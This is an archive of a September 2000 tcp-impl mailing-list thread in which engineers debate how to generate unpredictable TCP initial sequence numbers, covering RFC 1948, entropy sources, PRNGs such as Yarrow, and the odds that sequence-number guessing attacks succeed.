10:46:55AM -0600 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Um, I don't think the birthday paradox applies, as this is not an "do any two match" situation. But unless there is a penalty for a bad guess, the attacker can simply try as often as necessary. Barney Wolff On Sun, Sep 17, 2000 at 10:46:55AM -0600, Vernon Schryver wrote: > > Thus, no matter what you do, the odds of any single ISN attack working > are no worse than 1 in perhaps 100,000. Because of the birthday paradox, > the bad guy can expect to succeed after about the square root of number > of bits you can randomize in the ISN. Odds of 1 in 100,000 are about the > same as 1 in several 1000, because even with 1:100,000, the bad guy > can expect to succed once in every 300 or 400 tries. From owner-tcp-impl@lerc.nasa.gov Sun Sep 17 21:57:56 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA13990 for ; Sun, 17 Sep 2000 21:57:55 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id TAA09209 for tcp-impl-outgoing; Sun, 17 Sep 2000 19:52:56 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id TAA09199 for ; Sun, 17 Sep 2000 19:52:54 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id TAA15222; Sun, 17 Sep 2000 19:52:53 -0400 Received: from laurin.munich.netsurf.de(194.64.166.1) by seraph3.lerc.nasa.gov via smap (V5.5) id xma015189; Sun, 17 Sep 00 19:52:13 -0400 Received: from fred.muc.de (noidentity@ns1015.munich.netsurf.de [195.180.235.15]) by laurin.munich.netsurf.de (8.9.3/8.9.3) with ESMTP id BAA15688; Mon, 18 Sep 2000 01:51:59 +0200 (MET DST) Received: by fred.muc.de (Postfix, from userid 500) id B2EDCE38E0; Mon, 18 Sep 2000 01:54:48 +0200 (CEST) Date: Mon, 18 Sep 2000 01:54:48 +0200 From: Andi Kleen To: Vernon Schryver Cc: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Message-ID: <20000918015448.A1088@fred.muc.de> References: <200009171646.e8HGkt420858@calcite.rhyolite.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200009171646.e8HGkt420858@calcite.rhyolite.com>; from vjs@calcite.rhyolite.com on Sun, Sep 17, 2000 at 08:54:01PM +0200 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk On Sun, Sep 17, 2000 at 08:54:01PM +0200, Vernon Schryver wrote: > I don't understand what is meant there. "Brute force" here does not mean > the same as when you are searching for a key. The ISN attacker gets only > a single guess for each initial sequence number attack. If there are a > few thousand possible addresses for the buffer containing the SYN and if > the probability of the SYN landing in each buffer is uniform (yes, probably > false, but the reality is probably as good), then no matter how many times > the bad guy tries, the odds for each try are 1 in several thousand. When you can open a connection to the server you get as many guesses as you want for a secret refresh period (a few minutes). You know one ISN, the algorithm to generate it and a lot of the input parameters (your IP, your port, etc.). Unknown is just the secret. When there are not too many possibilities for the secret you can brute force it, checking it against your single ISN. When you can make the brute force attack quicker than the secret refresh you win. When the server is handicaped in its secret generation (e.g. diskless or no disk io during normal operation, no hardware rnd, no user keyboard input) like most servers you'll likely win for a much longer time and you can extend the brute force attack over longer times. > > > have a clock that ticks microseconds or better. > > > > iirc that was proposed but rejected because it could possible allow an > > attacker with a sniffer on your local ethernet to maintain a copy of your > > entropy pool. > > "Proposed but rejected" by whom and with what authority over other > competent designers? I doubt whoever rejected it understood the natures > of local ethernets, sniffers, clocks, local Ethernets, and pools of > entropy. As I said before, if you have to worry about ISN's on > your LAN, then you're dead. entropy pools are usually not only used for ISNs, but for a lot of other things (like SSL or PGP session keys). For these I would worry even on my LAN. Splitting the entropy pool into less security critical (like ISNs) and more security critical (like session keys) is probably not practical, so you have to design the entropy pool input for the worst case. -Andi From owner-tcp-impl@lerc.nasa.gov Sun Sep 17 22:52:51 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA15382 for ; Sun, 17 Sep 2000 22:52:51 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id UAA12538 for tcp-impl-outgoing; Sun, 17 Sep 2000 20:53:57 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id UAA12533 for ; Sun, 17 Sep 2000 20:53:56 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id UAA20761; Sun, 17 Sep 2000 20:53:56 -0400 Received: from calcite.rhyolite.com(38.159.140.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma020740; Sun, 17 Sep 00 20:53:37 -0400 Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.0/8.11.0) id e8I0rZp29278 for tcp-impl@grc.nasa.gov env-from ; Sun, 17 Sep 2000 18:53:35 -0600 (MDT) Date: Sun, 17 Sep 2000 18:53:35 -0600 (MDT) From: Vernon Schryver Message-Id: <200009180053.e8I0rZp29278@calcite.rhyolite.com> To: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk > From: Andi Kleen > ... > When you can open a connection to the server you get as many guesses as you > want for a secret refresh period (a few minutes). You know one ISN, the > algorithm to generate it and a lot of the input parameters (your IP, your > port, etc.). Unknown is just the secret. When there are not too many > possibilities for the secret you can brute force it, checking it against > your single ISN. When you can make the brute force attack quicker than > the secret refresh you win. When the server is handicaped in its secret > generation (e.g. diskless or no disk io during normal operation, no > hardware rnd, no user keyboard input) like most servers you'll likely win > for a much longer time and you can extend the brute force attack over > longer times. What's that about a "secret refresh period" for the secret used to generate ISN's? When I've implemented RFC 1948 and other anti-ISN-guessing schemes, I've never built such a thing. It sounds like a bad idea. If the secret includes the microsecond or nanosecond tick when the SYN arrived, how does the attacker benefit from discovering the secret in use when that ISN was chosen? I guess with enough such brute force efforts, the bad guy might learn about the addresses in your buffer pool and the distribution of your interrupt latency. However, that your interrupt latency is between 50 and 500 usec is not likely to be much of a secret. If your system vendor is serious, it's in the manual. The secret is for each ISN is how many nanoseconds your clock thinks elapsed, which not even you clock knows in advance. (again, see NTP discussions) And which buffer was used that time, which depends on other traffic. That your clock might contribute 10 or 20 instead of 30 and your buffer pool only 3 to 10 bits of entropy does not imply that you have the 0 bits of entropy of a constant secret. > ... > entropy pools are usually not only used for ISNs, but for a lot of other > things (like SSL or PGP session keys). For these I would worry even on my > LAN. Splitting the entropy pool into less security critical (like ISNs) > and more security critical (like session keys) is probably not practical, > so you have to design the entropy pool input for the worst case. Yes, but I thought we were talking about ISN's instead of cryptographically secure random numbers for such as SSL, PGP, and IPSec. If I were to implement RFC 1948 support in a system with an "entropy pool" such as is commonly used for /dev/random, I would only use the entropy pool as part of the secret for generating an ISN. I would also add other sources of entropy such as the microsecond tick of the SYN's arrival and the buffer address of the SYN. By the way, if you do use the familiar MD5 in the RFC, I think it's much faster to concentrate all of the bits and reduce once. MD5Update() has noticeable fixed overhead. And yes, I was wrong about the Birthday Paradox. If 16 bits of the ISN are randomized (e.g. if you like the BSD clocking defense against overlapping windows), then each attack has a 1 in 2**16 chance of success. The attacker must send about 50,000 probes to have a 50% chance of success. If you follow RFC 1948 to the letter and give up the BSD robustness, the bad guy must send about 1,000,000,000 probes for a 50% probability of success. (ok--did I mess that up too? (1-1/(2^16))^50000 is about 0.5) Vernon Schryver vjs@rhyolite.com From owner-tcp-impl@lerc.nasa.gov Mon Sep 18 02:05:52 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA28996 for ; Mon, 18 Sep 2000 02:05:52 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id AAA23786 for tcp-impl-outgoing; Mon, 18 Sep 2000 00:05:11 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id AAA23762 for ; Mon, 18 Sep 2000 00:05:09 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id AAA12132; Mon, 18 Sep 2000 00:05:08 -0400 Received: from agni.wipinfo.soft.net(164.164.6.20) by seraph3.lerc.nasa.gov via smap (V5.5) id xma012085; Mon, 18 Sep 00 00:04:55 -0400 Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id JAA06915 for ; Mon, 18 Sep 2000 09:29:54 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id JAA10713 for ; Mon, 18 Sep 2000 09:32:51 +0500 (GMT) Received: from wipro.com ([192.168.176.121]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA5147; Mon, 18 Sep 2000 09:33:27 +0530 Message-ID: <39C651E1.C45DB0D6@wipro.com> Date: Mon, 18 Sep 2000 09:33:22 -0800 From: N Srikanth Organization: Wipro Technologies - Global R & D X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.13 i686) X-Accept-Language: en MIME-Version: 1.0 To: Satish Mynam CC: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions References: <200009160017.RAA22029@jindo.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 7bit Satish Mynam wrote: > Hi, > > I was just wondering about many of the TCP implementations are using > a random number generator for the Initial Sequence Number(ISN) > generation for the new TCP connections. Most of the implementations > (in the past) have been using the clock value in micro seconds to > generate the ISN. I was looking at the NetBSD code at which was using > a random number generator function random() to generate the ISN. Some > older implementations are still using the clock() value. > > Does any of the RFCs specify which is the correct method to use for > ISN? I was going through some RFC but have'nt found much on this > subject. RFC 793 specifies that the ISN should be viewed as a 32-bit counter that increments by one every 4 microseconds. > > Personally I feel, random number generation of the ISN is better (if > we choose a better random number generator) as it will be difficult to > predict the sequence numbers of the new TCP sessions. This prevents > any intruder attacks (who is guessing the sequence number) difficult > to take over the TCP session(in case of ISN attacks). > > Any comments? > > Thank You, > Satish From owner-tcp-impl@lerc.nasa.gov Mon Sep 18 14:45:27 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA17266 for ; Mon, 18 Sep 2000 14:45:26 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id LAA11711 for tcp-impl-outgoing; Mon, 18 Sep 2000 11:21:45 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id LAA11618 for ; Mon, 18 Sep 2000 11:21:37 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id LAA19409; Mon, 18 Sep 2000 11:21:34 -0400 Received: from mail.internet2.edu(209.211.239.218) by seraph3.lerc.nasa.gov via smap (V5.5) id xma018688; Mon, 18 Sep 00 11:21:09 -0400 Received: from cain.internet2.edu (localhost [127.0.0.1]) by mail.internet2.edu (8.9.3/8.9.1) with ESMTP id LAA22624; Mon, 18 Sep 2000 11:20:56 -0400 (EDT) Received: by cain.internet2.edu (Postfix, from userid 1000) id 8097D4FB; Mon, 18 Sep 2000 11:20:53 -0400 (EDT) To: Vernon Schryver Cc: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions References: <200009171646.e8HGkt420858@calcite.rhyolite.com> From: stanislav shalunov Date: 18 Sep 2000 11:20:53 -0400 In-Reply-To: <200009171646.e8HGkt420858@calcite.rhyolite.com> Message-ID: <871yyhafqi.fsf@cain.internet2.edu> Lines: 33 X-Mailer: Gnus v5.7/Emacs 20.4 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Vernon Schryver writes: > 7. the trick in any entropy pool situation, including this one and > /dev/random, is not finding a single perfect source of true randomness > (never mind the nonsense in "true randomness"), but to find enough > entropy from enough sources. Even the arrival times of Ethernet packets > contains only 5 or 6 bits of entropy, those 5 or 6 bits are valuable. You don't need 32 bits of true randomness per ISN. Once you have 128 bits of true randomness you can safely get trillions of ISNs without giving an attacker a chance to recognize you're not using a true random number generator. Of course, once you have 128 bits, you'd continue to feed randomness into your pool to achieve recovery from compromize property. Estimating the amount of entropy in packet arrival times as 0.01 bits, (and, of course, adding in the other sources of entropy you can get) you'd start generating very good pseudo-random number after a short while. Please see Yarrow for an example of good implementation of such a scheme. You'll be interested in fast pool for ISN generation purposes. Notice that Yarrow uses Blowfish, so we only have 64-bit block, so we can safely generate only about four millions of ISNs from the same key. -- Stanislav Shalunov Internet Engineer, Internet2 "Computer Science is no more about computers than astronomy is about telescopes." -- E. W. Dijkstra From owner-tcp-impl@lerc.nasa.gov Mon Sep 18 17:23:21 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA19999 for ; Mon, 18 Sep 2000 17:23:21 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id OAA25043 for tcp-impl-outgoing; Mon, 18 Sep 2000 14:39:55 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id OAA25006 for ; Mon, 18 Sep 2000 14:39:50 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id OAA07482; Mon, 18 Sep 2000 14:39:49 -0400 Received: from twig.rodents.montreal.qc.ca(132.206.78.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma006644; Mon, 18 Sep 00 14:39:30 -0400 Received: (from mouse@localhost) by Twig.Rodents.Montreal.QC.CA (8.8.8/8.8.8) id OAA19667; Mon, 18 Sep 2000 14:39:18 -0400 (EDT) Date: Mon, 18 Sep 2000 14:39:18 -0400 (EDT) From: der Mouse Message-Id: <200009181839.OAA19667@Twig.Rodents.Montreal.QC.CA> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit To: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 8bit > You don't need 32 bits of true randomness per ISN. Once you have 128 > bits of true randomness you can safely get trillions of ISNs without > giving an attacker a chance to recognize you're not using a true > random number generator. That statement sounds highly dubious to me. What are your grounds for making it? That is, as far as I can see, you lose a certain amount of entropy with each ISN you generate. Your ISNs are only as unguessable as the amount of entropy you drain off to generate each one. And once you've no entropy left un-exposed, all you have left is a PRNG whose internal state the attacker has to deduce. This can be made comparatively difficult, for example if you use a decent one-way function between the entropy and the resulting ISN, but by no means impossible. In theory, the attacker could even brute-force it. As for the attacker recognizing how you generate your ISNs, well, as any crypto person will tell you, your security cannot, in more than the short term, rest on keeping your algorithms themselves secret. Or, of course, you could be lucky, and have hardware attached that produces entropy faster than incoming connection attempts consume it. Few of us are that lucky. der Mouse mouse@rodents.montreal.qc.ca 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B From owner-tcp-impl@lerc.nasa.gov Mon Sep 18 22:38:23 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA24998 for ; Mon, 18 Sep 2000 22:38:22 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id UAA08599 for tcp-impl-outgoing; Mon, 18 Sep 2000 20:11:25 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id UAA08574 for ; Mon, 18 Sep 2000 20:11:22 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id UAA23267; Mon, 18 Sep 2000 20:11:21 -0400 Received: from mail.internet2.edu(209.211.239.218) by seraph3.lerc.nasa.gov via smap (V5.5) id xma023213; Mon, 18 Sep 00 20:11:07 -0400 Received: from cain.internet2.edu (localhost [127.0.0.1]) by mail.internet2.edu (8.9.3/8.9.1) with ESMTP id UAA01269; Mon, 18 Sep 2000 20:11:06 -0400 (EDT) Received: by cain.internet2.edu (Postfix, from userid 1000) id B83E74FB; Mon, 18 Sep 2000 20:11:05 -0400 (EDT) To: der Mouse Cc: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions References: <200009181839.OAA19667@Twig.Rodents.Montreal.QC.CA> From: stanislav shalunov Date: 18 Sep 2000 20:11:05 -0400 In-Reply-To: <200009181839.OAA19667@Twig.Rodents.Montreal.QC.CA> Message-ID: <87itrtw89y.fsf@cain.internet2.edu> Lines: 63 X-Mailer: Gnus v5.7/Emacs 20.4 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk der Mouse writes: > > You don't need 32 bits of true randomness per ISN. Once you have 128 > > bits of true randomness you can safely get trillions of ISNs without > > giving an attacker a chance to recognize you're not using a true > > random number generator. > That statement sounds highly dubious to me. What are your grounds for > making it? Take that 128 bits of true ranodmness and use it as the key for AES running in counter mode. I believe it's accepted that about 2^{128/3} blocks of output will be indistinguishable from truely random data by attacker who cannot break the cipher in use. (At least, I didn't ever hear any cryptographer dispute this very conservative estimate.) Have you looked at the Yarrow paper I gave a link to? > That is, as far as I can see, you lose a certain amount of entropy with > each ISN you generate. Your ISNs are only as unguessable as the amount > of entropy you drain off to generate each one. No. The point is that once you have certain amount of entropy further increases bring no real increase in security of the system. Most people still feel more comfortable with using "true" randomness to generate things like long-living keys. > And once you've no entropy left un-exposed, all you have left is a PRNG > whose internal state the attacker has to deduce. This can be made > comparatively difficult, for example if you use a decent one-way > function between the entropy and the resulting ISN, but by no means > impossible. In theory, the attacker could even brute-force it. I don't understand how you can brute-force something in theory. Brute-force search of key space isn't theoretic. It's practical. If it's practically infeasible to search the key space, there's nothing to worry about. And 128 bits Ought to be Enough for Everybody(TM). (But if they aren't enough for you, you can always replace 128 with 640 or more.) > As for the attacker recognizing how you generate your ISNs, well, as > any crypto person will tell you, your security cannot, in more than the > short term, rest on keeping your algorithms themselves secret. You must be responding to somebody else's comments here. > Or, of course, you could be lucky, and have hardware attached that > produces entropy faster than incoming connection attempts consume it. This is unnecessary, and, I think is prone to being less secure than a decent PRNG. I guess the short summary should be that cryptographers know how to make good PRNGs, and they even give them away into public domain. On the other hands, non-cryptographers--predictably--have less thorough understanding of producing cryptographically secure PRNGs. -- Stanislav Shalunov Internet Engineer, Internet2 "The power of accurate observation is commonly called cynicism by those who have not got it." -- G. B. Shaw From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 00:54:28 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA26834 for ; Tue, 19 Sep 2000 00:54:27 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id WAA20364 for tcp-impl-outgoing; Mon, 18 Sep 2000 22:48:38 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id WAA20351 for ; Mon, 18 Sep 2000 22:48:36 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id WAA19058; Mon, 18 Sep 2000 22:48:35 -0400 Received: from calcite.rhyolite.com(38.159.140.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma018944; Mon, 18 Sep 00 22:48:15 -0400 Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.0/8.11.0) id e8J2mDZ27849 for tcp-impl@grc.nasa.gov env-from ; Mon, 18 Sep 2000 20:48:13 -0600 (MDT) Date: Mon, 18 Sep 2000 20:48:13 -0600 (MDT) From: Vernon Schryver Message-Id: <200009190248.e8J2mDZ27849@calcite.rhyolite.com> To: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk > From: stanislav shalunov > ... > Have you looked at the Yarrow paper I gave a link to? That's good advise. It says that Yarrow-160 uses 3-DES instead of Blowfish as you said, or even Twofish as one might expect given the key scheduling costs of Blowfish, the application (crypto-PRNG's), and the common source of Blowfish, Twofish, and Yarrow. > ... > I guess the short summary should be that cryptographers know how to > make good PRNGs, and they even give them away into public domain. > On the other hands, non-cryptographers--predictably--have less thorough > understanding of producing cryptographically secure PRNGs. No, the short summary is something about people who have read a little about things outside their strict expertise, and then want to talk about them in yet other contexts where they not well versed. (I admit to knowing no more about crypto stuff than the very little I've read and a few commercial implementations of some bog standard encryption stuff.) As Bruce Schneier of Blowfish, Yarrow, and Twofish fame has been saying a lot lately, designing and implementing a wonderful cipher is the relatively easy part of the battle. You should look at the whole picture, from what you're trying to protect to how much you should spend protecting it. The old analogies of armoured car deliveries to park benches and super-duper vault doors on cardboard boxes are relevant. This particular context concerns TCP initial sequence numbers. Cryptographic PRNG's, /dev/random, entropy pools, DES, PGP, SHA and so forth are merely tools for the main issue, bad guys guessing ISN's. The ISN issue once mattered, but today it is a minor threat blown out of proportion by "security audit" software vendors, "computer security" consultants, trade rag consultant authors, and others. What bad things happen if you use completely predictable ISN's? You've fixed your systems to not use IP addresses as authenticators by turning off /etc/hosts.equiv and .rhosts, right? So what if a bad guy predicts all of your ISN's? Vernon Schryver vjs@rhyolite.com From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 01:56:09 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA03206 for ; Tue, 19 Sep 2000 01:56:09 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id XAA24376 for tcp-impl-outgoing; Mon, 18 Sep 2000 23:47:10 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id XAA24368 for ; Mon, 18 Sep 2000 23:47:09 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id XAA28367; Mon, 18 Sep 2000 23:47:09 -0400 Received: from twig.rodents.montreal.qc.ca(132.206.78.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma028219; Mon, 18 Sep 00 23:46:21 -0400 Received: (from mouse@localhost) by Twig.Rodents.Montreal.QC.CA (8.8.8/8.8.8) id XAA20908; Mon, 18 Sep 2000 23:46:14 -0400 (EDT) Date: Mon, 18 Sep 2000 23:46:14 -0400 (EDT) From: der Mouse Message-Id: <200009190346.XAA20908@Twig.Rodents.Montreal.QC.CA> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit To: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 8bit >>> You don't need 32 bits of true randomness per ISN. Once you have >>> 128 bits of true randomness you can safely get trillions of ISNs >> That statement sounds highly dubious to me. What are your grounds >> for making it? > Take that 128 bits of true ranodmness and use it as the key for AES > running in counter mode. I believe it's accepted that about > 2^{128/3} blocks of output will be indistinguishable from truely > random data by attacker who cannot break the cipher in use. You may well believe it. But what are your grounds? > Have you looked at the Yarrow paper I gave a link to? No. First, www.counterpane.com suffers from the "won't frag" disease; it sends packets with DF set but either never receives or refuses to listen to the need-frag unreachables my gateway is sending back. When I located a machine I could use that wasn't behind this gateway, the URL you gave proved to be for a tiny (about three pages) blurb, not a paper of any sort. It did include a link to http://www.counterpane.com/yarrow-notes.html, which contained an abstract and two links, one claiming to be PDF and the other claiming to be PostScript, neither of which is a format that normally contains readable text. (I didn't actually download either to check; I assumed the descriptions were accurate.) Do you wish to name that paper as the "grounds" I asked for? If so, it wasn't clear from your first message - perhaps I should try to coax something usable out of one of those formats. >> [...]. In theory, the attacker could even brute-force it. > I don't understand how you can brute-force something in theory. As in, "this is something which is theoretically possible but may not be practical (for unspecified reasons)". > If it's practically infeasible to search the key space, there's > nothing to worry about. Except tomorrow's practice. > And 128 bits Ought to be Enough for Everybody(TM). They said that about 640KB of RAM, too. I've seen some disturbing rumblings on the horizon that imply that we may have to worry about nondeterminstic computers in the (so far only dimly) foreseeable future. >> As for the attacker recognizing how you generate your ISNs, well, as >> any crypto person will tell you, your security cannot, in more than >> the short term, rest on keeping your algorithms themselves secret. > You must be responding to somebody else's comments here. No; I was responding to >>> [...] without giving an attacker a chance to recognize you're not >>> using a true random number generator. My point is that you have to assume that the attacker *knows* exactly how you're generating the ISNs; all you can keep secret (except in that short term I mentioned), is the entropy you've accumulated. > I guess the short summary should be that cryptographers know how to > make good PRNGs, and they even give them away into public domain. > On the other hands, non-cryptographers--predictably--have less > thorough understanding of producing cryptographically secure PRNGs. Your phrasing sounds as though you intend this as some kind of attack on me as a non-cryptographer. If so, I consider it flawed, because I am making no claim to producing any sort of PRNG; all I am pointing out is that if you haven't got the entropy, you just haven't got it, and you *are* then doing pseudo-random, rather than really random, values. And you are then pinning your security on trying to obscure that entropy enough that it's infeasible to deduce it from the generated values, even when you've theoretically leaked enough that it's shifted from "impossible" to "difficult". I suppose it comes down to the difference between "infeasible" (which is a moving target) and "impossible" (which isn't). In any case, tcp-impl probably is not the right place for a crypto discussion. If I write anything further on the crypto side of this, it will be off-list; the last public word can be yours, if you want it. der Mouse mouse@rodents.montreal.qc.ca 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 11:40:41 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA17890 for ; Tue, 19 Sep 2000 11:40:40 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id IAA11225 for tcp-impl-outgoing; Tue, 19 Sep 2000 08:31:02 -0400 (EDT) Received: from seraph2.lerc.nasa.gov (firewall-user@guardian02.lerc.nasa.gov [139.88.146.11]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id IAA11221 for ; Tue, 19 Sep 2000 08:31:01 -0400 (EDT) Received: by seraph2.lerc.nasa.gov; id IAA28488; Tue, 19 Sep 2000 08:31:01 -0400 Received: from unknown(203.197.255.18) by seraph2.lerc.nasa.gov via smap (V5.5) id xma028459; Tue, 19 Sep 00 08:30:44 -0400 Received: from hdcvwall.wipsys.stph.net (hdcvwall [192.168.150.24]) by indica.wipsys.stph.net (8.9.3/8.9.3) with SMTP id RAA19697 for ; Tue, 19 Sep 2000 17:51:20 +0530 (IST) Received: from wipro.com ([192.168.142.109]) by vindhya.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA4327 for ; Tue, 19 Sep 2000 17:41:47 +0530 Message-ID: <39C75B81.4CC5D72D@wipro.com> Date: Tue, 19 Sep 2000 17:56:41 +0530 From: "T Srivathsa" Reply-To: srivathsa.tirumala@wipro.com X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: "tcp-impl@grc.nasa.gov" Subject: TCP sequence numbers Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 7bit Hi, My understanding of the Initial Sequence Numbers in TCP is that they increment at a much faster rate (typically once every 4 usecs) than the subsequent sequence numbers (which depends on how fast TCP pumps that connection's data into the network). This way, during a reincarnation (same src, dst ip addresses and same src, dst ports) of a connection, even if an old duplicate surfaces, it can be rejected because "it's sequence number will be WAY BEHIND". Question 1: Recently, there has been talk on the tcp-impl mailing list that ISN can be random. If so, how can it be guaranteed that an old duplicate will be rejected during a reincarnation? Question 2: Can circumstances arise such that TCP pumps the connection's data into the network at such a high rate, that subsequent sequence numbers increase at the same rate as ISNs? For eg, an FTP between very fast machines, on a very fast LAN, with TCP WINDOW SCALING? Bye Srivathsa From owner-tcp-impl@lerc.nasa.gov Tue Sep 19 13:20:32 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20800 for ; Tue, 19 Sep 2000 13:20:31 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id 